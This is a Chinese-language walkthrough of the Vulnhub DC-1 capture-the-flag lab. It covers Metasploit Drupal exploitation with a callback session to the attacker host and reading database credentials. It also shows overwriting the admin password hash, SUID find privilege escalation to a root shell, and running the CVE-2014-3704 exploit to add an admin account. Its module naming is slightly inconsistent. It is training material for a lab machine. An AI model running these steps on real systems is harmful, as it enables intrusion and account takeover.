【Vulnhub靶机系列】DC1

2021-04-23 10:31:22 浏览数 (1)

文章来源|MS08067 安全实验室

本文作者:大方子(Ms08067实验室核心成员)

基本信息

Kali:192.168.56.116

DC1:192.168.56.115

实验过程

现在Kali中使用arp-scan进行主机探活

代码语言:javascript复制
sudo arp‐scan ‐‐interface=eth1 192.168.56.0/24

逐个排查发现DC1的IP地址为192.168.56.115

然后使用nmap对主机进行探测

代码语言:javascript复制
nmap ‐sC ‐sV ‐A ‐oA vulnhub/DC1/DC1 192.168.56.115

主机分开开了:22,80,111端口

我们先从80端口入手

可以发现网站是Drupal cms管理系统

我们启动msf,搜索下Drupal可用的EXP

代码语言:javascript复制
msf > search Drupal

这里我们选用exploit/unix/webapp/drupal_drupalgeddon2

因为他是最新的,而且品质为excellent

代码语言:javascript复制
msf6 > use exploit/unix/webapp/drupal_coder_exec
msf6 exploit(unix/webapp/drupal_coder_exec) > show options
msf6 exploit(unix/webapp/drupal_coder_exec) > set RHOSTS 192.168.56.115
msf6 exploit(unix/webapp/drupal_coder_exec) > set LHOST 192.168.56.116
msf6 exploit(unix/webapp/drupal_coder_exec) > run

这样我们就可以成功得到一个会话

我们用会话返回一个shell

发现flag1.txt

查看下flag1.txt内容

给我们一个提示 Every good CMS needs a config file - and so do you.

百度drupal配置文件的位置

代码语言:javascript复制
sites/default/files

里面可以看到数据库的账号密码,同时我们还可以看到flag2的内容说:爆破不是唯一获得访问权限方法

代码语言:javascript复制
'database' => 'drupaldb',
'username' => 'dbuser',
'password' => 'R0ck3t',

那么我们用获得数据库的账号密码登录下数据看看

这里需要注意的是,我们需要用python转换成标准的shell

否则就会出现下面的场景,进入mysql之后

shell就没有反应

我们输入

代码语言:javascript复制
python ‐c "import pty;pty.spawn('/bin/bash')"
代码语言:javascript复制
mysql> show databases;
mysql> use drupaldb;
mysql> show tables;
mysql> select * from users;
mysql> select name,pass from users;

这里的密码是经过drupal加密

在scripts的文件夹中有用来算密码的脚本,但是因为靶机的环境原因会报错

网上找了下,直接用别人算好的hash进行替换

代码语言:javascript复制
明文:password
密文:$S$CDbdwZvjHQ09IVRs88G0fnaxPr50/kb81YI9.8M/D9okW7J/s5U4

接下来我们把管理员的密码重置下

代码语言:javascript复制
mysql> update users set pass='$S$CDbdwZvjHQ09IVRs88G0fnaxPr50/kb81YI9.8M/D9okW7J/s5U4'
where name='admin';

然后进行登录

然后发现flag3

从flag3的内容可以看出,提示我们需要用find提权同时我们也可以在家目录中找到flag4

代码语言:javascript复制
Can you use this same method to find or access the flag in root?
Probably. But perhaps it's not that easy. Or maybe it is?

我们使用find找下具有root权限的suid

代码语言:javascript复制
# ‐perm 按照文件权限来查找文件
# ‐u=w 基于用户可写查找
# ‐type f 查找普通类型文件
find / ‐perm ‐u=s ‐type f 2>/dev/null

可以看到find是可以用来提权的

我们尝试用find执行命令

代码语言:javascript复制
# 这里需要注意‐name参数填写的文件名,是需要系统真实存在的
www‐data@DC‐1:/home/flag4$ find / ‐name flag4 ‐exec "whoami" ;

那么我们接下来用find提权

代码语言:javascript复制
www‐data@DC‐1:/home/flag4$ find / ‐name flag4 ‐exec "/bin/sh" ;

这样我们就拿到最终的flag

额外内容

使用CVE2014-3704添加管理账号

在exploit-db中有可以直接利用的EXP,可以直接添加管理账号地址:https://www.exploit-db.com/exploits/34992 我们在Kali上开启HTTP服务,让靶机从Kali上下载EXP

然后我们通过这个EXP创建管理账号

代码语言:javascript复制
www‐data@DC‐1:/var/www$ python 34992.py ‐t http://192.168.56.115/ ‐u dfz ‐p ms08067

然后就可以正常登录

另一种查询具有root权限命令的find语句

代码语言:javascript复制
find / ‐user root ‐perm ‐4000 ‐print 2>/dev/null

0 人点赞